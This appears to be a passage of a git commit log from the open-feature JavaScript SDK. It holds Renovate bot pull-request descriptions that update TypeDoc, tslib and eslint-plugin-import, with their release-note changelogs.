([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`^0.25.7`
-> `^0.26.0`](https://renovatebot.com/diffs/npm/typedoc/0.25.13/0.26.10)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.26.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.26.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.13/0.26.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.13/0.26.10?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.26.10`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v02610-2024-10-16)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.9...v0.26.10)

##### Bug Fixes

- Fixed missing space on page headers,
[#&#8203;2748](https://redirect.github.com/TypeStrong/TypeDoc/issues/2748).

###
[`v0.26.9`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0269-2024-10-11)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.8...v0.26.9)

##### Features

- Added `headings` option to control optional headings,
[#&#8203;2729](https://redirect.github.com/TypeStrong/TypeDoc/issues/2729).
- Updated Chinese translations,
[#&#8203;2739](https://redirect.github.com/TypeStrong/TypeDoc/issues/2739).
- Added a folder icon to page navigation elements which are not links,
[#&#8203;2741](https://redirect.github.com/TypeStrong/TypeDoc/issues/2741).

##### Bug Fixes

- `externalSymbolLinkMappings` now uses the TypeScript reported link
target if available,
[#&#8203;2725](https://redirect.github.com/TypeStrong/TypeDoc/issues/2725).
- TypeDoc will no longer omit the modules page if a project contains
only modules/documents,
[#&#8203;2730](https://redirect.github.com/TypeStrong/TypeDoc/issues/2730).
- Fixed missing breadcrumbs on project page,
[#&#8203;2728](https://redirect.github.com/TypeStrong/TypeDoc/issues/2728).
- TypeDoc will no longer render an empty readme page if no readme was
found.

##### Thanks!

-   [@&#8203;lriggle-strib](https://redirect.github.com/lriggle-strib)
-   [@&#8203;mrfigg](https://redirect.github.com/mrfigg)
-   [@&#8203;XeroAlpha](https://redirect.github.com/XeroAlpha)

###
[`v0.26.8`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0268-2024-10-04)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.7...v0.26.8)

##### Features

- Updated Chinese translations,
[#&#8203;2706](https://redirect.github.com/TypeStrong/TypeDoc/issues/2706).
- Exported constants no longer render the type and default value if they
are the same,
[#&#8203;2717](https://redirect.github.com/TypeStrong/TypeDoc/issues/2717).
- The HTML output now wraps tag blocks with `<div>` tags and includes
the tag name in a class name,
[#&#8203;2723](https://redirect.github.com/TypeStrong/TypeDoc/issues/2723).

##### Bug Fixes

- Correctly handle external link resolver link text when referencing an
external symbol,
[#&#8203;2700](https://redirect.github.com/TypeStrong/TypeDoc/issues/2700).
- Big integer literals are now supported as default values,
[#&#8203;2721](https://redirect.github.com/TypeStrong/TypeDoc/issues/2721).
- Corrected handling of `@link` tags present in comments at the start of
source files.
- The index will now display when a module only contains documents,
[#&#8203;2722](https://redirect.github.com/TypeStrong/TypeDoc/issues/2722).
- `ReflectionSymbolId.pos` no longer references the position *before*
any doc comments for a symbol.
This could cause typedoc-plugin-dt-links to produce links which didn't
go to the expected location in a file.

##### Thanks!

-   [@&#8203;Corso02](https://redirect.github.com/Corso02)
-   [@&#8203;lriggle-strib](https://redirect.github.com/lriggle-strib)
-   [@&#8203;XeroAlpha](https://redirect.github.com/XeroAlpha)

###
[`v0.26.7`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0267-2024-09-09)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.6...v0.26.7)

##### Features

- Support TypeScript 5.6,
[#&#8203;2699](https://redirect.github.com/TypeStrong/TypeDoc/issues/2699).
- Added `customJs` option to include a script tag in generated HTML
output,
[#&#8203;2650](https://redirect.github.com/TypeStrong/TypeDoc/issues/2650).
- Added `markdownLinkExternal` option to treat `http[s]://` links in
markdown documents and comments as external to be opened in a new tab,
[#&#8203;2679](https://redirect.github.com/TypeStrong/TypeDoc/issues/2679).
- Added `navigation.excludeReferences` option to prevent re-exports from
appearing in the left hand navigation,
[#&#8203;2685](https://redirect.github.com/TypeStrong/TypeDoc/issues/2685).
- Added support for the `@abstract` tag,
[#&#8203;2692](https://redirect.github.com/TypeStrong/TypeDoc/issues/2692).

##### Bug Fixes

- Fixed an issue where links in packages mode would be resolved
incorrectly,
[#&#8203;2680](https://redirect.github.com/TypeStrong/TypeDoc/issues/2680).
- `@link` tags to symbols which are not included in the documentation
will produce invalid link warnings again,
[#&#8203;2681](https://redirect.github.com/TypeStrong/TypeDoc/issues/2681).
- Fixed handling of `@param` tags on comments attached to function
callback parameters,
[#&#8203;2683](https://redirect.github.com/TypeStrong/TypeDoc/issues/2683).
- The `alphabetical` and `alphabetical-ignoring-documents` sort options
now use `localeCompare` to sort,
[#&#8203;2684](https://redirect.github.com/TypeStrong/TypeDoc/issues/2684).
- Fixed incorrect placement of parameter default values in some
signatures with a `this` parameter,
[#&#8203;2698](https://redirect.github.com/TypeStrong/TypeDoc/issues/2698).

##### Thanks!

-   [@&#8203;Aryakoste](https://redirect.github.com/Aryakoste)
-   [@&#8203;waynemwashuma](https://redirect.github.com/waynemwashuma)

###
[`v0.26.6`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0266-2024-08-18)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.5...v0.26.6)

##### Features

- Use of the `@extends` block tag no longer produces warnings,
[#&#8203;2659](https://redirect.github.com/TypeStrong/TypeDoc/issues/2659).
This tag should only be used in JavaScript projects to specify the type
parameters used when extending a parent class. It will not be rendered.
- Added new `navigation.compactFolders` option to prevent TypeDoc from
compacting folders, similar to the VSCode option.
[#&#8203;2667](https://redirect.github.com/TypeStrong/TypeDoc/issues/2667).

##### Bug Fixes

- The `suppressCommentWarningsInDeclarationFiles` option now correctly
ignores warnings in `.d.cts` and `.d.mts` files,
[#&#8203;2647](https://redirect.github.com/TypeStrong/TypeDoc/issues/2647).
- Restored re-exports in the page navigation menu,
[#&#8203;2671](https://redirect.github.com/TypeStrong/TypeDoc/issues/2671).
- JSON serialized projects will no longer contain reflection IDs for
other projects created in the same run.
[Gerrit0/typedoc-plugin-zod#6](https://redirect.github.com/Gerrit0/typedoc-plugin-zod/issues/6).
- In packages mode the reflection ID counter will no longer be reset
when converting projects. This previously could result in links to files
not working as expected.

###
[`v0.26.5`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0265-2024-07-21)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.4...v0.26.5)

##### Features

- TypeDoc now exposes array option defaults under `OptionDefaults`,
[#&#8203;2640](https://redirect.github.com/TypeStrong/TypeDoc/issues/2640).

##### Bug Fixes

- Constructor parameters which share a name with a property on a parent
class will no longer inherit the comment on the parent class,
[#&#8203;2636](https://redirect.github.com/TypeStrong/TypeDoc/issues/2636).
- Packages mode will now attempt to use the comment declared in the
comment class for inherited members,
[#&#8203;2622](https://redirect.github.com/TypeStrong/TypeDoc/issues/2622).
- TypeDoc no longer crashes when `@document` includes an empty file,
[#&#8203;2638](https://redirect.github.com/TypeStrong/TypeDoc/issues/2638).
- API: Event listeners added later with the same priority will be called
later,
[#&#8203;2643](https://redirect.github.com/TypeStrong/TypeDoc/issues/2643).

##### Thanks!

- [@&#8203;bladerunner2020](https://redirect.github.com/bladerunner2020)

###
[`v0.26.4`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0264-2024-07-10)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.3...v0.26.4)

##### Bug Fixes

- The page navigation sidebar no longer incorrectly includes re-exports
if the same member is exported with multiple names
[#&#8203;2625](https://redirect.github.com/TypeStrong/TypeDoc/issues/2625).
- Page navigation now ensures the current page is visible when the page
is first loaded,
[#&#8203;2626](https://redirect.github.com/TypeStrong/TypeDoc/issues/2626).
- If a relative linked image is referenced multiple times, TypeDoc will
no longer sometimes produce invalid links to the image
[#&#8203;2627](https://redirect.github.com/TypeStrong/TypeDoc/issues/2627).
- `@link` tags will now be validated in referenced markdown documents,
[#&#8203;2629](https://redirect.github.com/TypeStrong/TypeDoc/issues/2629).
- `@link` tags are now resolved in project documents,
[#&#8203;2629](https://redirect.github.com/TypeStrong/TypeDoc/issues/2629).
- HTML/JSON output generated by TypeDoc now contains a trailing newline,
[#&#8203;2632](https://redirect.github.com/TypeStrong/TypeDoc/issues/2632).
- TypeDoc now correctly handles markdown documents with CRLF line
endings,
[#&#8203;2628](https://redirect.github.com/TypeStrong/TypeDoc/issues/2628).
- `@hidden` is now properly applied when placed in a function
implementation comment,
[#&#8203;2634](https://redirect.github.com/TypeStrong/TypeDoc/issues/2634).
-   Comments on re-exports are now rendered.

##### Thanks!

-   [@&#8203;bukowa](https://redirect.github.com/bukowa)
-   [@&#8203;garrett-hopper](https://redirect.github.com/garrett-hopper)

###
[`v0.26.3`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0263-2024-06-28)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.2...v0.26.3)

##### Features

- "On This Page" navigation now includes the page groups in collapsible
sections,
[#&#8203;2616](https://redirect.github.com/TypeStrong/TypeDoc/issues/2616).

##### Bug Fixes

- `mailto:` links are no longer incorrectly recognized as relative
paths,
[#&#8203;2613](https://redirect.github.com/TypeStrong/TypeDoc/issues/2613).
- Added `@since` to the default list of recognized tags,
[#&#8203;2614](https://redirect.github.com/TypeStrong/TypeDoc/issues/2614).
- Relative paths to directories will no longer cause the directory to be
copied into the media directory,
[#&#8203;2617](https://redirect.github.com/TypeStrong/TypeDoc/issues/2617).

###
[`v0.26.2`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0262-2024-06-24)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.1...v0.26.2)

##### Features

- Added a `--suppressCommentWarningsInDeclarationFiles` option to
disable warnings from
parsing comments in declaration files,
[#&#8203;2611](https://redirect.github.com/TypeStrong/TypeDoc/issues/2611).
- Improved comment discovery to more closely match TypeScript's
discovery when getting comments
for members of interfaces/classes,
[#&#8203;2084](https://redirect.github.com/TypeStrong/TypeDoc/issues/2084),
[#&#8203;2545](https://redirect.github.com/TypeStrong/TypeDoc/issues/2545).

##### Bug Fixes

- The `text` non-highlighted language no longer causes warnings when
rendering,
[#&#8203;2610](https://redirect.github.com/TypeStrong/TypeDoc/issues/2610).
- If a comment on a method is inherited from a parent class, and the
child class does not
use an `@param` tag from the parent, TypeDoc will no longer warn about
the `@param` tag.

###
[`v0.26.1`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0261-2024-06-22)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.26.0...v0.26.1)

##### Features

- Improved Korean translation coverage,
[#&#8203;2602](https://redirect.github.com/TypeStrong/TypeDoc/issues/2602).

##### Bug Fixes

- Added `@author` to the default list of recognized tags,
[#&#8203;2603](https://redirect.github.com/TypeStrong/TypeDoc/issues/2603).
- Anchor links are no longer incorrectly checked for relative paths,
[#&#8203;2604](https://redirect.github.com/TypeStrong/TypeDoc/issues/2604).
- Fixed an issue where line numbers reported in error messages could be
incorrect,
[#&#8203;2605](https://redirect.github.com/TypeStrong/TypeDoc/issues/2605).
- Fixed relative link detection for markdown links containing code in
their label,
[#&#8203;2606](https://redirect.github.com/TypeStrong/TypeDoc/issues/2606).
- Fixed an issue with packages mode where TypeDoc would use (much) more
memory than required,
[#&#8203;2607](https://redirect.github.com/TypeStrong/TypeDoc/issues/2607).
- TypeDoc will no longer crash when asked to render highlighted code for
an unsupported language,
[#&#8203;2609](https://redirect.github.com/TypeStrong/TypeDoc/issues/2609).
- Fixed an issue where relatively-linked files would not be copied to
the output directory in packages mode.
- Fixed an issue where modifier tags were not applied to top level
modules in packages mode.
- Fixed an issue where excluded tags were not removed from top level
modules in packages mode.
- `.jsonc` configuration files are now properly read as JSONC, rather
than being passed to `require`.

##### Thanks!

-   [@&#8203;KNU-K](https://redirect.github.com/KNU-K)

###
[`v0.26.0`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0260-2024-06-22)

[Compare
Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.25.13...v0.26.0)

##### Breaking Changes

-   Drop support for Node 16.
- Moved from `marked` to `markdown-it` for parsing as marked has moved
to an async model which supporting would significantly complicate
TypeDoc's rendering code.
This means that any projects setting `markedOptions` needs to be updated
to use `markdownItOptions`.
Unlike `marked@4`, `markdown-it` pushes lots of functionality to
plugins. To use plugins, a JavaScript config file must be used with the
`markdownItLoader` option.
- Updated Shiki from 0.14 to 1.x. This should mostly be a transparent
update which adds another 23 supported languages and 13 supported
themes.
As Shiki adds additional languages, the time it takes to load the
highlighter increases linearly. To avoid rendering taking longer than
necessary,
TypeDoc now only loads a few common languages. Additional languages can
be loaded by setting the `--highlightLanguages` option.
-   Changed default of `--excludePrivate` to `true`.
- Renamed `--sitemapBaseUrl` to `--hostedBaseUrl` to reflect that it can
be used for more than just the sitemap.
-   Removed deprecated `navigation.fullTree` option.
- Removed `--media` option, TypeDoc will now detect image links within
your comments and markdown documents and automatically copy them to the
site.
-   Removed `--includes` option, use the `@document` tag instead.
- Removed `--stripYamlFrontmatter` option, TypeDoc will always do this
now.
-   Renamed the `--htmlLang` option to `--lang`.
- Removed the `--gaId` option for Google Analytics integration and
corresponding `analytics` theme member,
[#&#8203;2600](https://redirect.github.com/TypeStrong/TypeDoc/issues/2600).
- All function-likes may now have comments directly attached to them.
This is a change from previous versions of TypeDoc where functions
comments
were always moved down to the signature level. This mostly worked, but
caused problems with type aliases, so was partially changed in 0.25.13.
This change was extended to apply not only to type aliases, but also
other function-likes declared with variables and callable properties.
As a part of this change, comments on the implementation signature of
overloaded functions will now be added to the function reflection, and
will
not be inherited by signatures of that function,
[#&#8203;2521](https://redirect.github.com/TypeStrong/TypeDoc/issues/2521).
- API: TypeDoc now uses a typed event emitter to provide improved type
safety, this found a bug where `Converter.EVENT_CREATE_DECLARATION`
    was emitted for `ProjectReflection` in some circumstances.
-   API: `MapOptionDeclaration.mapError` has been removed.
-   API: Deprecated `BindOption` decorator has been removed.
- API: `DeclarationReflection.indexSignature` has been renamed to
`DeclarationReflection.indexSignatures`.
Note: This also affects JSON serialization. TypeDoc will support JSON
output from 0.25 through at least 0.26.
- API: `JSONOutput.SignatureReflection.typeParameter` has been renamed
to `typeParameters` to match the JS API.
- API: `DefaultThemeRenderContext.iconsCache` has been removed as it is
no longer needed.
- API: `DefaultThemeRenderContext.hook` must now be passed `context` if
required by the hook.

##### Features

-   Added support for TypeScript 5.5.
- Added new `--projectDocuments` option to specify additional Markdown
documents to be included in the generated site
[#&#8203;247](https://redirect.github.com/TypeStrong/TypeDoc/issues/247),
[#&#8203;1870](https://redirect.github.com/TypeStrong/TypeDoc/issues/1870),
[#&#8203;2288](https://redirect.github.com/TypeStrong/TypeDoc/issues/2288),
[#&#8203;2565](https://redirect.github.com/TypeStrong/TypeDoc/issues/2565).
- TypeDoc now has the architecture in place to support localization. No
languages besides English
are currently shipped in the package, but it is now possible to add
support for additional languages,
[#&#8203;2475](https://redirect.github.com/TypeStrong/TypeDoc/issues/2475).
- Added support for a `packageOptions` object which specifies options
that should be applied to each entry point when running with
`--entryPointStrategy packages`,
[#&#8203;2523](https://redirect.github.com/TypeStrong/TypeDoc/issues/2523).
- `--hostedBaseUrl` will now be used to generate a `<link
rel="canonical">` element in the project root page,
[#&#8203;2550](https://redirect.github.com/TypeStrong/TypeDoc/issues/2550).
- Added support for documenting individual elements of a union type,
[#&#8203;2585](https://redirect.github.com/TypeStrong/TypeDoc/issues/2585).
Note: This feature is only available on type aliases directly containing
unions.
- TypeDoc will now log the number of errors/warnings errors encountered,
if any, after a run,
[#&#8203;2581](https://redirect.github.com/TypeStrong/TypeDoc/issues/2581).
- New option, `--customFooterHtml` to add custom HTML to the generated
page footer,
[#&#8203;2559](https://redirect.github.com/TypeStrong/TypeDoc/issues/2559).
- TypeDoc will now copy modifier tags to children if specified in the
`--cascadedModifierTags` option,
[#&#8203;2056](https://redirect.github.com/TypeStrong/TypeDoc/issues/2056).
- TypeDoc will now warn if mutually exclusive modifier tags are
specified for a comment (e.g. both `@alpha` and `@beta`),
[#&#8203;2056](https://redirect.github.com/TypeStrong/TypeDoc/issues/2056).
- Groups and categories can now be collapsed in the page body,
[#&#8203;2330](https://redirect.github.com/TypeStrong/TypeDoc/issues/2330).
-   Added support for JSDoc `@hideconstructor` tag.
This tag should only be used to work around
[TypeScript#58653](https://redirect.github.com/TypeScript/TypeDoc/issues/58653),
prefer the more general `@hidden`/`@ignore` tag to hide members
normally,
[#&#8203;2577](https://redirect.github.com/TypeStrong/TypeDoc/issues/2577).
- Added `--useHostedBaseUrlForAbsoluteLinks` option to use the
`--hostedBaseUrl` option to produce absolute links to pages on a site,
[#&#8203;940](https://redirect.github.com/TypeStrong/TypeDoc/issues/940).
- Tag headers now generate permalinks in the default theme,
[#&#8203;2308](https://redirect.github.com/TypeStrong/TypeDoc/issues/2308).
- TypeDoc now attempts to use the "most likely name" for a symbol if the
symbol is not present in the documentation,
[#&#8203;2574](https://redirect.github.com/TypeStrong/TypeDoc/issues/2574).
- Fixed an issue where the "On This Page" section would include markdown
if the page contained headings which contained markdown.
- TypeDoc will now warn if a block tag is used which is not defined by
the `--blockTags` option.
- Added three new sort strategies `documents-first`, `documents-last`,
and `alphabetical-ignoring-documents` to order markdown documents.
- Added new `--alwaysCreateEntryPointModule` option. When set, TypeDoc
will always create a `Module` for entry points, even if only one is
provided.
If `--projectDocuments` is used to add documents, this option defaults
to `true`, otherwise, defaults to `false`.
- Added new `--highlightLanguages` option to control what Shiki language
packages are loaded.
- TypeDoc will now render union elements on new lines if there are more
than 3 items in the union.
- TypeDoc will now only render the "Type Declaration" section if it will
provide additional information not already presented in the page.
This results in significantly smaller documentation pages in many cases
where that section would just repeat what has already been presented in
the rendered type.
- Added `comment.beforeTags` and `comment.afterTags` hooks for plugin
use.
Combined with `CommentTag.skipRendering` this can be used to provide
custom tag handling at render time.

##### Bug Fixes

- TypeDoc now supports objects with multiple index signatures,
[#&#8203;2470](https://redirect.github.com/TypeStrong/TypeDoc/issues/2470).
- Header anchor links in rendered markdown are now more consistent with
headers generated by TypeDoc,
[#&#8203;2546](https://redirect.github.com/TypeStrong/TypeDoc/issues/2546).
- Types rendered in the `Returns` header are now properly colored,
[#&#8203;2546](https://redirect.github.com/TypeStrong/TypeDoc/issues/2546).
- Links added with the `navigationLinks` option are now moved into the
pull out navigation on mobile displays,
[#&#8203;2548](https://redirect.github.com/TypeStrong/TypeDoc/issues/2548).
- `@license` and `@import` comments will be ignored at the top of files,
[#&#8203;2552](https://redirect.github.com/TypeStrong/TypeDoc/issues/2552).
- Fixed issue in documentation validation where constructor signatures
where improperly considered not documented,
[#&#8203;2553](https://redirect.github.com/TypeStrong/TypeDoc/issues/2553).
- Keyboard focus is now visible on dropdowns and checkboxes in the
default theme,
[#&#8203;2556](https://redirect.github.com/TypeStrong/TypeDoc/issues/2556).
- The color theme label in the default theme now has an accessible name,
[#&#8203;2557](https://redirect.github.com/TypeStrong/TypeDoc/issues/2557).
- Fixed issue where search results could not be navigated while Windows
Narrator was on,
[#&#8203;2563](https://redirect.github.com/TypeStrong/TypeDoc/issues/2563).
- `charset` is now correctly cased in `<meta>` tag generated by the
default theme,
[#&#8203;2568](https://redirect.github.com/TypeStrong/TypeDoc/issues/2568).
- Fixed very slow conversion on Windows where Msys git was used by
typedoc to discover repository links,
[#&#8203;2586](https://redirect.github.com/TypeStrong/TypeDoc/issues/2586).
- Validation will now be run in watch mode,
[#&#8203;2584](https://redirect.github.com/TypeStrong/TypeDoc/issues/2584).
- Fixed an issue where custom themes which added dependencies in the
`<head>` element could result in broken icons,
[#&#8203;2589](https://redirect.github.com/TypeStrong/TypeDoc/issues/2589).
- `@default` and `@defaultValue` blocks are now recognized as regular
blocks if they include inline tags,
[#&#8203;2601](https://redirect.github.com/TypeStrong/TypeDoc/issues/2601).
- Navigation folders sharing a name will no longer be saved with a
shared key to `localStorage`.
- The `--hideParameterTypesInTitle` option no longer applies when
rendering function types.
- Broken `@link` tags in readme files will now cause a warning when link
validation is enabled.
- Fixed `externalSymbolLinkMappings` option's support for
[meanings](https://typedoc.org/guides/declaration-references/#meaning)
in declaration references.
- Buttons to copy code now have the `type=button` attribute set to avoid
being treated as submit buttons.
- `--hostedBaseUrl` will now implicitly add a trailing slash to the
generated URL.

##### Thanks!

-   [@&#8203;Aryakoste](https://redirect.github.com/Aryakoste)
- [@&#8203;bladerunner2020](https://redirect.github.com/bladerunner2020)
-   [@&#8203;Dinnerbone](https://redirect.github.com/Dinnerbone)
-   [@&#8203;HarelM](https://redirect.github.com/HarelM)
-   [@&#8203;kraenhansen](https://redirect.github.com/kraenhansen)
-   [@&#8203;Nil2000](https://redirect.github.com/Nil2000)
-   [@&#8203;steve02081504](https://redirect.github.com/steve02081504)
-   [@&#8203;tristanzander](https://redirect.github.com/tristanzander)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4yNi4xIiwidXBkYXRlZEluVmVyIjoiMzguMTIwLjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-22 08:36:23 -04:00
renovate[bot] d5457cc3dd
fix(deps): update dependency tslib to v2.8.0 (#1057)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tslib](https://www.typescriptlang.org/)
([source](https://redirect.github.com/Microsoft/tslib)) | [`2.7.0` ->
`2.8.0`](https://renovatebot.com/diffs/npm/tslib/2.7.0/2.8.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/tslib/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tslib/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tslib/2.7.0/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tslib/2.7.0/2.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>Microsoft/tslib (tslib)</summary>

###
[`v2.8.0`](https://redirect.github.com/microsoft/tslib/releases/tag/v2.8.0)

[Compare
Source](https://redirect.github.com/Microsoft/tslib/compare/v2.7.0...v2.8.0)

#### What's Changed

- Validate export structure of every entrypoint by
[@&#8203;andrewbranch](https://redirect.github.com/andrewbranch) in
[https://github.com/microsoft/tslib/pull/269](https://redirect.github.com/microsoft/tslib/pull/269)
- Add rewriteRelativeImportExtension helper by
[@&#8203;andrewbranch](https://redirect.github.com/andrewbranch) in
[https://github.com/microsoft/tslib/pull/270](https://redirect.github.com/microsoft/tslib/pull/270)

**Full Changelog**:
https://github.com/microsoft/tslib/compare/v2.7.0...v2.8.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 20:45:30 +00:00
renovate[bot] de5778b65f
chore(deps): update dependency eslint-plugin-import to v2.31.0 (#1056)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-import](https://redirect.github.com/import-js/eslint-plugin-import)
| [`2.30.0` ->
`2.31.0`](https://renovatebot.com/diffs/npm/eslint-plugin-import/2.30.0/2.31.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-import/2.31.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-import/2.31.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-import/2.30.0/2.31.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-import/2.30.0/2.31.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>import-js/eslint-plugin-import (eslint-plugin-import)</summary>

###
[`v2.31.0`](https://redirect.github.com/import-js/eslint-plugin-import/blob/HEAD/CHANGELOG.md#2310---2024-10-03)

[Compare
Source](https://redirect.github.com/import-js/eslint-plugin-import/compare/v2.30.0...v2.31.0)

##### Added

- support eslint v9
(\[[#&#8203;2996](https://redirect.github.com/import-js/eslint-plugin-import/issues/2996)],
thanks \[[@&#8203;G-Rath](https://redirect.github.com/G-Rath)]
\[[@&#8203;michaelfaith](https://redirect.github.com/michaelfaith)])
- \[`order`]: allow validating named imports
(\[[#&#8203;3043](https://redirect.github.com/import-js/eslint-plugin-import/issues/3043)],
thanks \[[@&#8203;manuth](https://redirect.github.com/manuth)])
- \[`extensions`]: add the `checkTypeImports` option
(\[[#&#8203;2817](https://redirect.github.com/import-js/eslint-plugin-import/issues/2817)],
thanks \[[@&#8203;phryneas](https://redirect.github.com/phryneas)])

##### Fixed

- `ExportMap` / flat config: include `languageOptions` in context
(\[[#&#8203;3052](https://redirect.github.com/import-js/eslint-plugin-import/issues/3052)],
thanks
\[[@&#8203;michaelfaith](https://redirect.github.com/michaelfaith)])
- \[`no-named-as-default`]: Allow using an identifier if the export is
both a named and a default export
(\[[#&#8203;3032](https://redirect.github.com/import-js/eslint-plugin-import/issues/3032)],
thanks
\[[@&#8203;akwodkiewicz](https://redirect.github.com/akwodkiewicz)])
- \[`export`]: False positive for exported overloaded functions in TS
(\[[#&#8203;3065](https://redirect.github.com/import-js/eslint-plugin-import/issues/3065)],
thanks
\[[@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu)])
- `exportMap`: export map cache is tainted by unreliable parse results
(\[[#&#8203;3062](https://redirect.github.com/import-js/eslint-plugin-import/issues/3062)],
thanks
\[[@&#8203;michaelfaith](https://redirect.github.com/michaelfaith)])
- `exportMap`: improve cacheKey when using flat config
(\[[#&#8203;3072](https://redirect.github.com/import-js/eslint-plugin-import/issues/3072)],
thanks
\[[@&#8203;michaelfaith](https://redirect.github.com/michaelfaith)])
- adjust "is source type module" checks for flat config
(\[[#&#8203;2996](https://redirect.github.com/import-js/eslint-plugin-import/issues/2996)],
thanks \[[@&#8203;G-Rath](https://redirect.github.com/G-Rath)])

##### Changed

- \[Docs] \[`no-relative-packages`]: fix typo
(\[[#&#8203;3066](https://redirect.github.com/import-js/eslint-plugin-import/issues/3066)],
thanks
\[[@&#8203;joshuaobrien](https://redirect.github.com/joshuaobrien)])
- \[Performance] \[`no-cycle`]: dont scc for each linted file
(\[[#&#8203;3068](https://redirect.github.com/import-js/eslint-plugin-import/issues/3068)],
thanks \[[@&#8203;soryy708](https://redirect.github.com/soryy708)])
- \[Docs] \[`no-cycle`]: add `disableScc` to docs
(\[[#&#8203;3070](https://redirect.github.com/import-js/eslint-plugin-import/issues/3070)],
thanks \[[@&#8203;soryy708](https://redirect.github.com/soryy708)])
- \[Tests] use re-exported `RuleTester`
(\[[#&#8203;3071](https://redirect.github.com/import-js/eslint-plugin-import/issues/3071)],
thanks \[[@&#8203;G-Rath](https://redirect.github.com/G-Rath)])
- \[Docs] \[`no-restricted-paths`]: fix grammar
(\[[#&#8203;3073](https://redirect.github.com/import-js/eslint-plugin-import/issues/3073)],
thanks
\[[@&#8203;unbeauvoyage](https://redirect.github.com/unbeauvoyage)])
- \[Tests] \[`no-default-export`], \[`no-named-export`]: add test case
